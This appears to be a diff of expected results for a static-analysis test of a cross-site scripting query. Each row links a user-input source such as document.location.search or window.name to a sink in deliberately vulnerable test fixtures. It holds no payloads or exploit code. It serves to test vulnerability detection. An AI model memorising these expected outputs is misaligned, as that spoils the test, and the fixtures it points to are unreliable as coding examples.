+| jquery.js:37:25:37:37 | () => tainted | jquery.js:2:17:2:40 | documen ... .search | jquery.js:37:25:37:37 | () => tainted | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value |
+| json-stringify.jsx:31:40:31:61 | JSON.st ... locale) | json-stringify.jsx:5:18:5:36 | req.param("locale") | json-stringify.jsx:31:40:31:61 | JSON.st ... locale) | Cross-site scripting vulnerability due to $@. | json-stringify.jsx:5:18:5:36 | req.param("locale") | user-provided value |
+| json-stringify.jsx:35:40:35:61 | JSON.st ... jsonLD) | json-stringify.jsx:5:18:5:36 | req.param("locale") | json-stringify.jsx:35:40:35:61 | JSON.st ... jsonLD) | Cross-site scripting vulnerability due to $@. | json-stringify.jsx:5:18:5:36 | req.param("locale") | user-provided value |
+| jwt-server.js:10:19:10:29 | decoded.foo | jwt-server.js:7:17:7:35 | req.param("wobble") | jwt-server.js:10:19:10:29 | decoded.foo | Cross-site scripting vulnerability due to $@. | jwt-server.js:7:17:7:35 | req.param("wobble") | user-provided value |
+| nodemailer.js:13:11:13:69 | `Hi, yo ... sage}.` | nodemailer.js:13:50:13:66 | req.query.message | nodemailer.js:13:11:13:69 | `Hi, yo ... sage}.` | HTML injection vulnerability due to $@. | nodemailer.js:13:50:13:66 | req.query.message | user-provided value |
+| optionalSanitizer.js:6:18:6:23 | target | optionalSanitizer.js:2:16:2:39 | documen ... .search | optionalSanitizer.js:6:18:6:23 | target | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:2:16:2:39 | documen ... .search | user-provided value |
+| optionalSanitizer.js:9:18:9:24 | tainted | optionalSanitizer.js:2:16:2:39 | documen ... .search | optionalSanitizer.js:9:18:9:24 | tainted | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:2:16:2:39 | documen ... .search | user-provided value |
+| optionalSanitizer.js:17:20:17:20 | x | optionalSanitizer.js:2:16:2:39 | documen ... .search | optionalSanitizer.js:17:20:17:20 | x | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:2:16:2:39 | documen ... .search | user-provided value |
+| optionalSanitizer.js:32:18:32:25 | tainted2 | optionalSanitizer.js:26:16:26:39 | documen ... .search | optionalSanitizer.js:32:18:32:25 | tainted2 | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:26:16:26:39 | documen ... .search | user-provided value |
+| optionalSanitizer.js:36:18:36:25 | tainted2 | optionalSanitizer.js:26:16:26:39 | documen ... .search | optionalSanitizer.js:36:18:36:25 | tainted2 | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:26:16:26:39 | documen ... .search | user-provided value |
+| optionalSanitizer.js:39:18:39:25 | tainted3 | optionalSanitizer.js:26:16:26:39 | documen ... .search | optionalSanitizer.js:39:18:39:25 | tainted3 | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:26:16:26:39 | documen ... .search | user-provided value |
+| optionalSanitizer.js:43:18:43:25 | tainted3 | optionalSanitizer.js:26:16:26:39 | documen ... .search | optionalSanitizer.js:43:18:43:25 | tainted3 | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:26:16:26:39 | documen ... .search | user-provided value |
+| optionalSanitizer.js:45:18:45:56 | sanitiz ...  target | optionalSanitizer.js:26:16:26:39 | documen ... .search | optionalSanitizer.js:45:18:45:56 | sanitiz ...  target | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:26:16:26:39 | documen ... .search | user-provided value |
+| pages/[id].jsx:10:44:10:45 | id | pages/[id].jsx:5:18:5:29 | router.query | pages/[id].jsx:10:44:10:45 | id | Cross-site scripting vulnerability due to $@. | pages/[id].jsx:5:18:5:29 | router.query | user-provided value |
+| pages/[id].jsx:13:44:13:52 | params.id | pages/[id].jsx:25:11:25:24 | context.params | pages/[id].jsx:13:44:13:52 | params.id | Cross-site scripting vulnerability due to $@. | pages/[id].jsx:25:11:25:24 | context.params | user-provided value |
+| pages/[id].jsx:16:44:16:51 | params.q | pages/[id].jsx:26:10:26:22 | context.query | pages/[id].jsx:16:44:16:51 | params.q | Cross-site scripting vulnerability due to $@. | pages/[id].jsx:26:10:26:22 | context.query | user-provided value |
+| react-native.js:8:18:8:24 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:8:18:8:24 | tainted | Cross-site scripting vulnerability due to $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
+| react-native.js:9:27:9:33 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:9:27:9:33 | tainted | Cross-site scripting vulnerability due to $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
+| react-use-context.js:10:22:10:32 | window.name | react-use-context.js:10:22:10:32 | window.name | react-use-context.js:10:22:10:32 | window.name | Cross-site scripting vulnerability due to $@. | react-use-context.js:10:22:10:32 | window.name | user-provided value |
+| react-use-context.js:16:26:16:36 | window.name | react-use-context.js:16:26:16:36 | window.name | react-use-context.js:16:26:16:36 | window.name | Cross-site scripting vulnerability due to $@. | react-use-context.js:16:26:16:36 | window.name | user-provided value |
+| react-use-router.js:8:21:8:39 | router.query.foobar | react-use-router.js:8:21:8:32 | router.query | react-use-router.js:8:21:8:39 | router.query.foobar | Cross-site scripting vulnerability due to $@. | react-use-router.js:8:21:8:32 | router.query | user-provided value |
+| react-use-router.js:11:24:11:42 | router.query.foobar | react-use-router.js:11:24:11:35 | router.query | react-use-router.js:11:24:11:42 | router.query.foobar | Cross-site scripting vulnerability due to $@. | react-use-router.js:11:24:11:35 | router.query | user-provided value |
+| react-use-router.js:23:43:23:61 | router.query.foobar | react-use-router.js:23:43:23:54 | router.query | react-use-router.js:23:43:23:61 | router.query.foobar | Cross-site scripting vulnerability due to $@. | react-use-router.js:23:43:23:54 | router.query | user-provided value |
+| react-use-router.js:33:21:33:39 | router.query.foobar | react-use-router.js:33:21:33:32 | router.query | react-use-router.js:33:21:33:39 | router.query.foobar | Cross-site scripting vulnerability due to $@. | react-use-router.js:33:21:33:32 | router.query | user-provided value |
+| react-use-state.js:5:51:5:55 | state | react-use-state.js:4:38:4:48 | window.name | react-use-state.js:5:51:5:55 | state | Cross-site scripting vulnerability due to $@. | react-use-state.js:4:38:4:48 | window.name | user-provided value |
+| react-use-state.js:11:51:11:55 | state | react-use-state.js:10:14:10:24 | window.name | react-use-state.js:11:51:11:55 | state | Cross-site scripting vulnerability due to $@. | react-use-state.js:10:14:10:24 | window.name | user-provided value |
+| react-use-state.js:17:51:17:55 | state | react-use-state.js:16:20:16:30 | window.name | react-use-state.js:17:51:17:55 | state | Cross-site scripting vulnerability due to $@. | react-use-state.js:16:20:16:30 | window.name | user-provided value |
+| react-use-state.js:23:35:23:38 | prev | react-use-state.js:25:20:25:30 | window.name | react-use-state.js:23:35:23:38 | prev | Cross-site scripting vulnerability due to $@. | react-use-state.js:25:20:25:30 | window.name | user-provided value |
+| sanitiser.js:23:21:23:44 | '<b>' + ...  '</b>' | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:23:21:23:44 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
+| sanitiser.js:30:21:30:44 | '<b>' + ...  '</b>' | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:30:21:30:44 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
+| sanitiser.js:33:21:33:44 | '<b>' + ...  '</b>' | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:33:21:33:44 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
+| sanitiser.js:38:21:38:44 | '<b>' + ...  '</b>' | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:38:21:38:44 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
+| sanitiser.js:45:21:45:44 | '<b>' + ...  '</b>' | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:45:21:45:44 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
+| sanitiser.js:48:19:48:46 | tainted ... /g, '') | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:48:19:48:46 | tainted ... /g, '') | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
+| stored-xss.js:5:20:5:52 | session ... ssion') | stored-xss.js:2:39:2:62 | documen ... .search | stored-xss.js:5:20:5:52 | session ... ssion') | Cross-site scripting vulnerability due to $@. | stored-xss.js:2:39:2:62 | documen ... .search | user-provided value |
+| stored-xss.js:8:20:8:48 | localSt ... local') | stored-xss.js:3:35:3:58 | documen ... .search | stored-xss.js:8:20:8:48 | localSt ... local') | Cross-site scripting vulnerability due to $@. | stored-xss.js:3:35:3:58 | documen ... .search | user-provided value |
+| stored-xss.js:12:20:12:54 | "<a hre ... ar</a>" | stored-xss.js:3:35:3:58 | documen ... .search | stored-xss.js:12:20:12:54 | "<a hre ... ar</a>" | Cross-site scripting vulnerability due to $@. | stored-xss.js:3:35:3:58 | documen ... .search | user-provided value |
+| string-manipulations.js:3:16:3:32 | document.location | string-manipulations.js:3:16:3:32 | document.location | string-manipulations.js:3:16:3:32 | document.location | Cross-site scripting vulnerability due to $@. | string-manipulations.js:3:16:3:32 | document.location | user-provided value |
+| string-manipulations.js:4:16:4:37 | documen ... on.href | string-manipulations.js:4:16:4:37 | documen ... on.href | string-manipulations.js:4:16:4:37 | documen ... on.href | Cross-site scripting vulnerability due to $@. | string-manipulations.js:4:16:4:37 | documen ... on.href | user-provided value |
+| string-manipulations.js:5:16:5:47 | documen ... lueOf() | string-manipulations.js:5:16:5:37 | documen ... on.href | string-manipulations.js:5:16:5:47 | documen ... lueOf() | Cross-site scripting vulnerability due to $@. | string-manipulations.js:5:16:5:37 | documen ... on.href | user-provided value |
+| string-manipulations.js:6:16:6:43 | documen ... f.sup() | string-manipulations.js:6:16:6:37 | documen ... on.href | string-manipulations.js:6:16:6:43 | documen ... f.sup() | Cross-site scripting vulnerability due to $@. | string-manipulations.js:6:16:6:37 | documen ... on.href | user-provided value |
+| string-manipulations.js:7:16:7:51 | documen ... rCase() | string-manipulations.js:7:16:7:37 | documen ... on.href | string-manipulations.js:7:16:7:51 | documen ... rCase() | Cross-site scripting vulnerability due to $@. | string-manipulations.js:7:16:7:37 | documen ... on.href | user-provided value |
+| string-manipulations.js:8:16:8:48 | documen ... mLeft() | string-manipulations.js:8:16:8:37 | documen ... on.href | string-manipulations.js:8:16:8:48 | documen ... mLeft() | Cross-site scripting vulnerability due to $@. | string-manipulations.js:8:16:8:37 | documen ... on.href | user-provided value |
+| string-manipulations.js:9:16:9:58 | String. ... n.href) | string-manipulations.js:9:36:9:57 | documen ... on.href | string-manipulations.js:9:16:9:58 | String. ... n.href) | Cross-site scripting vulnerability due to $@. | string-manipulations.js:9:36:9:57 | documen ... on.href | user-provided value |
+| string-manipulations.js:10:16:10:45 | String( ... n.href) | string-manipulations.js:10:23:10:44 | documen ... on.href | string-manipulations.js:10:16:10:45 | String( ... n.href) | Cross-site scripting vulnerability due to $@. | string-manipulations.js:10:23:10:44 | documen ... on.href | user-provided value |
+| tainted-url-suffix-arguments.js:6:22:6:22 | y | tainted-url-suffix-arguments.js:11:17:11:36 | window.location.href | tainted-url-suffix-arguments.js:6:22:6:22 | y | Cross-site scripting vulnerability due to $@. | tainted-url-suffix-arguments.js:11:17:11:36 | window.location.href | user-provided value |
+| tooltip.jsx:10:25:10:30 | source | tooltip.jsx:6:20:6:30 | window.name | tooltip.jsx:10:25:10:30 | source | Cross-site scripting vulnerability due to $@. | tooltip.jsx:6:20:6:30 | window.name | user-provided value |
+| tooltip.jsx:11:25:11:30 | source | tooltip.jsx:6:20:6:30 | window.name | tooltip.jsx:11:25:11:30 | source | Cross-site scripting vulnerability due to $@. | tooltip.jsx:6:20:6:30 | window.name | user-provided value |
+| tooltip.jsx:18:51:18:59 | provide() | tooltip.jsx:22:20:22:30 | window.name | tooltip.jsx:18:51:18:59 | provide() | Cross-site scripting vulnerability due to $@. | tooltip.jsx:22:20:22:30 | window.name | user-provided value |
+| translate.js:8:27:8:50 | searchP ... 'term') | translate.js:6:16:6:39 | documen ... .search | translate.js:8:27:8:50 | searchP ... 'term') | Cross-site scripting vulnerability due to $@. | translate.js:6:16:6:39 | documen ... .search | user-provided value |
+| trusted-types-lib.js:2:12:2:12 | x | trusted-types.js:13:20:13:30 | window.name | trusted-types-lib.js:2:12:2:12 | x | Cross-site scripting vulnerability due to $@. | trusted-types.js:13:20:13:30 | window.name | user-provided value |
+| trusted-types.js:3:67:3:67 | x | trusted-types.js:4:20:4:30 | window.name | trusted-types.js:3:67:3:67 | x | Cross-site scripting vulnerability due to $@. | trusted-types.js:4:20:4:30 | window.name | user-provided value |
+| tst3.js:4:25:4:32 | data.src | tst3.js:2:42:2:63 | window. ... .search | tst3.js:4:25:4:32 | data.src | Cross-site scripting vulnerability due to $@. | tst3.js:2:42:2:63 | window. ... .search | user-provided value |
+| tst3.js:5:26:5:31 | data.p | tst3.js:2:42:2:63 | window. ... .search | tst3.js:5:26:5:31 | data.p | Cross-site scripting vulnerability due to $@. | tst3.js:2:42:2:63 | window. ... .search | user-provided value |
+| tst3.js:7:32:7:37 | data.p | tst3.js:2:42:2:63 | window. ... .search | tst3.js:7:32:7:37 | data.p | Cross-site scripting vulnerability due to $@. | tst3.js:2:42:2:63 | window. ... .search | user-provided value |
+| tst3.js:9:37:9:42 | data.p | tst3.js:2:42:2:63 | window. ... .search | tst3.js:9:37:9:42 | data.p | Cross-site scripting vulnerability due to $@. | tst3.js:2:42:2:63 | window. ... .search | user-provided value |
+| tst3.js:10:38:10:43 | data.p | tst3.js:2:42:2:63 | window. ... .search | tst3.js:10:38:10:43 | data.p | Cross-site scripting vulnerability due to $@. | tst3.js:2:42:2:63 | window. ... .search | user-provided value |
+| tst.js:4:18:4:23 | target | tst.js:2:16:2:39 | documen ... .search | tst.js:4:18:4:23 | target | Cross-site scripting vulnerability due to $@. | tst.js:2:16:2:39 | documen ... .search | user-provided value |
+| tst.js:6:18:6:126 | "<OPTIO ... PTION>" | tst.js:6:37:6:58 | documen ... on.href | tst.js:6:18:6:126 | "<OPTIO ... PTION>" | Cross-site scripting vulnerability due to $@. | tst.js:6:37:6:58 | documen ... on.href | user-provided value |
+| tst.js:9:5:9:42 | '<div s ...  'px">' | tst.js:2:16:2:39 | documen ... .search | tst.js:9:5:9:42 | '<div s ...  'px">' | Cross-site scripting vulnerability due to $@. | tst.js:2:16:2:39 | documen ... .search | user-provided value |
+| tst.js:15:18:15:35 | params.get('name') | tst.js:14:25:14:41 | document.location | tst.js:15:18:15:35 | params.get('name') | Cross-site scripting vulnerability due to $@. | tst.js:14:25:14:41 | document.location | user-provided value |
+| tst.js:18:18:18:41 | searchP ... 'name') | tst.js:2:16:2:39 | documen ... .search | tst.js:18:18:18:41 | searchP ... 'name') | Cross-site scripting vulnerability due to $@. | tst.js:2:16:2:39 | documen ... .search | user-provided value |
+| tst.js:22:18:22:23 | target | tst.js:24:5:24:28 | documen ... .search | tst.js:22:18:22:23 | target | Cross-site scripting vulnerability due to $@. | tst.js:24:5:24:28 | documen ... .search | user-provided value |
+| tst.js:29:16:29:20 | bar() | tst.js:27:10:27:33 | documen ... .search | tst.js:29:16:29:20 | bar() | Cross-site scripting vulnerability due to $@. | tst.js:27:10:27:33 | documen ... .search | user-provided value |
+| tst.js:34:16:34:44 | baz(doc ... search) | tst.js:34:20:34:43 | documen ... .search | tst.js:34:16:34:44 | baz(doc ... search) | Cross-site scripting vulnerability due to $@. | tst.js:34:20:34:43 | documen ... .search | user-provided value |
+| tst.js:39:16:39:45 | wrap(do ... search) | tst.js:39:21:39:44 | documen ... .search | tst.js:39:16:39:45 | wrap(do ... search) | Cross-site scripting vulnerability due to $@. | tst.js:39:21:39:44 | documen ... .search | user-provided value |
+| tst.js:46:16:46:45 | chop(do ... search) | tst.js:46:21:46:44 | documen ... .search | tst.js:46:16:46:45 | chop(do ... search) | Cross-site scripting vulnerability due to $@. | tst.js:46:21:46:44 | documen ... .search | user-provided value |
+| tst.js:47:16:47:45 | chop(do ... search) | tst.js:47:21:47:44 | documen ... .search | tst.js:47:16:47:45 | chop(do ... search) | Cross-site scripting vulnerability due to $@. | tst.js:47:21:47:44 | documen ... .search | user-provided value |
+| tst.js:48:16:48:32 | wrap(chop(bar())) | tst.js:27:10:27:33 | documen ... .search | tst.js:48:16:48:32 | wrap(chop(bar())) | Cross-site scripting vulnerability due to $@. | tst.js:27:10:27:33 | documen ... .search | user-provided value |
+| tst.js:51:18:51:18 | s | tst.js:53:25:53:48 | documen ... .search | tst.js:51:18:51:18 | s | Cross-site scripting vulnerability due to $@. | tst.js:53:25:53:48 | documen ... .search | user-provided value |
+| tst.js:51:18:51:18 | s | tst.js:54:25:54:48 | documen ... .search | tst.js:51:18:51:18 | s | Cross-site scripting vulnerability due to $@. | tst.js:54:25:54:48 | documen ... .search | user-provided value |
+| tst.js:56:16:56:20 | bar() | tst.js:27:10:27:33 | documen ... .search | tst.js:56:16:56:20 | bar() | Cross-site scripting vulnerability due to $@. | tst.js:27:10:27:33 | documen ... .search | user-provided value |
+| tst.js:60:20:60:20 | x | tst.js:58:3:58:26 | documen ... .search | tst.js:60:20:60:20 | x | Cross-site scripting vulnerability due to $@. | tst.js:58:3:58:26 | documen ... .search | user-provided value |
+| tst.js:63:49:63:72 | documen ... .search | tst.js:63:49:63:72 | documen ... .search | tst.js:63:49:63:72 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:63:49:63:72 | documen ... .search | user-provided value |
+| tst.js:67:26:67:49 | documen ... .search | tst.js:67:26:67:49 | documen ... .search | tst.js:67:26:67:49 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:67:26:67:49 | documen ... .search | user-provided value |
+| tst.js:68:25:68:48 | documen ... .search | tst.js:68:25:68:48 | documen ... .search | tst.js:68:25:68:48 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:68:25:68:48 | documen ... .search | user-provided value |
+| tst.js:70:33:70:56 | documen ... .search | tst.js:70:33:70:56 | documen ... .search | tst.js:70:33:70:56 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:70:33:70:56 | documen ... .search | user-provided value |
+| tst.js:71:32:71:55 | documen ... .search | tst.js:71:32:71:55 | documen ... .search | tst.js:71:32:71:55 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:71:32:71:55 | documen ... .search | user-provided value |
+| tst.js:76:39:76:62 | documen ... .search | tst.js:76:39:76:62 | documen ... .search | tst.js:76:39:76:62 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:76:39:76:62 | documen ... .search | user-provided value |
+| tst.js:82:30:82:53 | documen ... .search | tst.js:82:30:82:53 | documen ... .search | tst.js:82:30:82:53 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:82:30:82:53 | documen ... .search | user-provided value |
+| tst.js:88:25:88:48 | documen ... .search | tst.js:88:25:88:48 | documen ... .search | tst.js:88:25:88:48 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:88:25:88:48 | documen ... .search | user-provided value |
+| tst.js:95:18:95:18 | v | tst.js:93:11:93:34 | documen ... .search | tst.js:95:18:95:18 | v | Cross-site scripting vulnerability due to $@. | tst.js:93:11:93:34 | documen ... .search | user-provided value |
+| tst.js:120:18:120:18 | v | tst.js:93:11:93:34 | documen ... .search | tst.js:120:18:120:18 | v | Cross-site scripting vulnerability due to $@. | tst.js:93:11:93:34 | documen ... .search | user-provided value |
+| tst.js:135:49:135:49 | v | tst.js:132:29:132:50 | window. ... .search | tst.js:135:49:135:49 | v | Cross-site scripting vulnerability due to $@. | tst.js:132:29:132:50 | window. ... .search | user-provided value |
+| tst.js:139:29:139:46 | xssSourceService() | tst.js:142:40:142:61 | window. ... .search | tst.js:139:29:139:46 | xssSourceService() | Cross-site scripting vulnerability due to $@. | tst.js:142:40:142:61 | window. ... .search | user-provided value |
+| tst.js:164:28:164:33 | target | tst.js:161:18:161:41 | documen ... .search | tst.js:164:28:164:33 | target | Cross-site scripting vulnerability due to $@. | tst.js:161:18:161:41 | documen ... .search | user-provided value |
+| tst.js:170:31:170:37 | tainted | tst.js:168:19:168:42 | documen ... .search | tst.js:170:31:170:37 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:168:19:168:42 | documen ... .search | user-provided value |
+| tst.js:172:42:172:48 | tainted | tst.js:168:19:168:42 | documen ... .search | tst.js:172:42:172:48 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:168:19:168:42 | documen ... .search | user-provided value |
+| tst.js:173:33:173:39 | tainted | tst.js:168:19:168:42 | documen ... .search | tst.js:173:33:173:39 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:168:19:168:42 | documen ... .search | user-provided value |
+| tst.js:175:54:175:60 | tainted | tst.js:168:19:168:42 | documen ... .search | tst.js:175:54:175:60 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:168:19:168:42 | documen ... .search | user-provided value |
+| tst.js:176:45:176:51 | tainted | tst.js:168:19:168:42 | documen ... .search | tst.js:176:45:176:51 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:168:19:168:42 | documen ... .search | user-provided value |
+| tst.js:177:49:177:55 | tainted | tst.js:168:19:168:42 | documen ... .search | tst.js:177:49:177:55 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:168:19:168:42 | documen ... .search | user-provided value |
+| tst.js:183:67:183:73 | tainted | tst.js:181:19:181:42 | documen ... .search | tst.js:183:67:183:73 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:184:67:184:73 | tainted | tst.js:181:19:181:42 | documen ... .search | tst.js:184:67:184:73 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:196:28:196:46 | this.state.tainted1 | tst.js:181:19:181:42 | documen ... .search | tst.js:196:28:196:46 | this.state.tainted1 | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:197:28:197:46 | this.state.tainted2 | tst.js:181:19:181:42 | documen ... .search | tst.js:197:28:197:46 | this.state.tainted2 | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:198:28:198:46 | this.state.tainted3 | tst.js:181:19:181:42 | documen ... .search | tst.js:198:28:198:46 | this.state.tainted3 | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:202:32:202:49 | prevState.tainted4 | tst.js:181:19:181:42 | documen ... .search | tst.js:202:32:202:49 | prevState.tainted4 | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:209:28:209:46 | this.props.tainted1 | tst.js:181:19:181:42 | documen ... .search | tst.js:209:28:209:46 | this.props.tainted1 | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:210:28:210:46 | this.props.tainted2 | tst.js:181:19:181:42 | documen ... .search | tst.js:210:28:210:46 | this.props.tainted2 | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:211:28:211:46 | this.props.tainted3 | tst.js:181:19:181:42 | documen ... .search | tst.js:211:28:211:46 | this.props.tainted3 | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:215:32:215:49 | prevProps.tainted4 | tst.js:181:19:181:42 | documen ... .search | tst.js:215:32:215:49 | prevProps.tainted4 | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:235:60:235:82 | this.st ... Tainted | tst.js:181:19:181:42 | documen ... .search | tst.js:235:60:235:82 | this.st ... Tainted | Cross-site scripting vulnerability due to $@. | tst.js:181:19:181:42 | documen ... .search | user-provided value |
+| tst.js:243:7:243:17 | window.name | tst.js:243:7:243:17 | window.name | tst.js:243:7:243:17 | window.name | Cross-site scripting vulnerability due to $@. | tst.js:243:7:243:17 | window.name | user-provided value |
+| tst.js:244:7:244:10 | name | tst.js:244:7:244:10 | name | tst.js:244:7:244:10 | name | Cross-site scripting vulnerability due to $@. | tst.js:244:7:244:10 | name | user-provided value |
+| tst.js:248:11:248:21 | window.name | tst.js:248:11:248:21 | window.name | tst.js:248:11:248:21 | window.name | Cross-site scripting vulnerability due to $@. | tst.js:248:11:248:21 | window.name | user-provided value |
+| tst.js:264:22:264:29 | location | tst.js:264:22:264:29 | location | tst.js:264:22:264:29 | location | Cross-site scripting vulnerability due to $@. | tst.js:264:22:264:29 | location | user-provided value |
+| tst.js:272:59:272:65 | tainted | tst.js:269:19:269:29 | window.name | tst.js:272:59:272:65 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:269:19:269:29 | window.name | user-provided value |
+| tst.js:287:20:287:20 | e | tst.js:285:9:285:16 | location | tst.js:287:20:287:20 | e | Cross-site scripting vulnerability due to $@. | tst.js:285:9:285:16 | location | user-provided value |
+| tst.js:295:20:295:20 | e | tst.js:292:10:292:17 | location | tst.js:295:20:295:20 | e | Cross-site scripting vulnerability due to $@. | tst.js:292:10:292:17 | location | user-provided value |
+| tst.js:300:35:300:42 | location | tst.js:300:35:300:42 | location | tst.js:300:35:300:42 | location | Cross-site scripting vulnerability due to $@. | tst.js:300:35:300:42 | location | user-provided value |
+| tst.js:316:18:316:35 | params.get('name') | tst.js:311:18:311:34 | document.location | tst.js:316:18:316:35 | params.get('name') | Cross-site scripting vulnerability due to $@. | tst.js:311:18:311:34 | document.location | user-provided value |
+| tst.js:327:5:327:30 | getUrl( ... ring(1) | tst.js:325:20:325:36 | document.location | tst.js:327:5:327:30 | getUrl( ... ring(1) | Cross-site scripting vulnerability due to $@. | tst.js:325:20:325:36 | document.location | user-provided value |
+| tst.js:333:12:333:17 | target | tst.js:332:16:332:39 | documen ... .search | tst.js:333:12:333:17 | target | Cross-site scripting vulnerability due to $@. | tst.js:332:16:332:39 | documen ... .search | user-provided value |
+| tst.js:340:16:340:21 | target | tst.js:339:19:339:42 | documen ... .search | tst.js:340:16:340:21 | target | Cross-site scripting vulnerability due to $@. | tst.js:339:19:339:42 | documen ... .search | user-provided value |
+| tst.js:344:21:344:26 | target | tst.js:339:19:339:42 | documen ... .search | tst.js:344:21:344:26 | target | Cross-site scripting vulnerability due to $@. | tst.js:339:19:339:42 | documen ... .search | user-provided value |
+| tst.js:347:18:347:23 | target | tst.js:339:19:339:42 | documen ... .search | tst.js:347:18:347:23 | target | Cross-site scripting vulnerability due to $@. | tst.js:339:19:339:42 | documen ... .search | user-provided value |
+| tst.js:357:18:357:23 | target | tst.js:355:16:355:39 | documen ... .search | tst.js:357:18:357:23 | target | Cross-site scripting vulnerability due to $@. | tst.js:355:16:355:39 | documen ... .search | user-provided value |
+| tst.js:367:18:367:23 | target | tst.js:364:16:364:39 | documen ... .search | tst.js:367:18:367:23 | target | Cross-site scripting vulnerability due to $@. | tst.js:364:16:364:39 | documen ... .search | user-provided value |
+| tst.js:369:18:369:29 | target.taint | tst.js:364:16:364:39 | documen ... .search | tst.js:369:18:369:29 | target.taint | Cross-site scripting vulnerability due to $@. | tst.js:364:16:364:39 | documen ... .search | user-provided value |
+| tst.js:375:18:375:30 | target.taint3 | tst.js:374:19:374:42 | documen ... .search | tst.js:375:18:375:30 | target.taint3 | Cross-site scripting vulnerability due to $@. | tst.js:374:19:374:42 | documen ... .search | user-provided value |
+| tst.js:380:18:380:30 | target.taint5 | tst.js:364:16:364:39 | documen ... .search | tst.js:380:18:380:30 | target.taint5 | Cross-site scripting vulnerability due to $@. | tst.js:364:16:364:39 | documen ... .search | user-provided value |
+| tst.js:389:18:389:30 | target.taint7 | tst.js:364:16:364:39 | documen ... .search | tst.js:389:18:389:30 | target.taint7 | Cross-site scripting vulnerability due to $@. | tst.js:364:16:364:39 | documen ... .search | user-provided value |
+| tst.js:392:18:392:30 | target.taint8 | tst.js:364:16:364:39 | documen ... .search | tst.js:392:18:392:30 | target.taint8 | Cross-site scripting vulnerability due to $@. | tst.js:364:16:364:39 | documen ... .search | user-provided value |
+| tst.js:400:18:400:24 | payload | tst.js:399:17:399:36 | window.location.hash | tst.js:400:18:400:24 | payload | Cross-site scripting vulnerability due to $@. | tst.js:399:17:399:36 | window.location.hash | user-provided value |
+| tst.js:404:20:404:27 | match[1] | tst.js:402:15:402:34 | window.location.hash | tst.js:404:20:404:27 | match[1] | Cross-site scripting vulnerability due to $@. | tst.js:402:15:402:34 | window.location.hash | user-provided value |
+| tst.js:407:18:407:51 | window. ... '#')[1] | tst.js:407:18:407:37 | window.location.hash | tst.js:407:18:407:51 | window. ... '#')[1] | Cross-site scripting vulnerability due to $@. | tst.js:407:18:407:37 | window.location.hash | user-provided value |
+| tst.js:413:18:413:89 | target. ... data>') | tst.js:411:16:411:39 | documen ... .search | tst.js:413:18:413:89 | target. ... data>') | Cross-site scripting vulnerability due to $@. | tst.js:411:16:411:39 | documen ... .search | user-provided value |
+| tst.js:423:28:423:33 | source | tst.js:419:15:419:38 | documen ... .search | tst.js:423:28:423:33 | source | Cross-site scripting vulnerability due to $@. | tst.js:419:15:419:38 | documen ... .search | user-provided value |
+| tst.js:424:33:424:38 | source | tst.js:419:15:419:38 | documen ... .search | tst.js:424:33:424:38 | source | Cross-site scripting vulnerability due to $@. | tst.js:419:15:419:38 | documen ... .search | user-provided value |
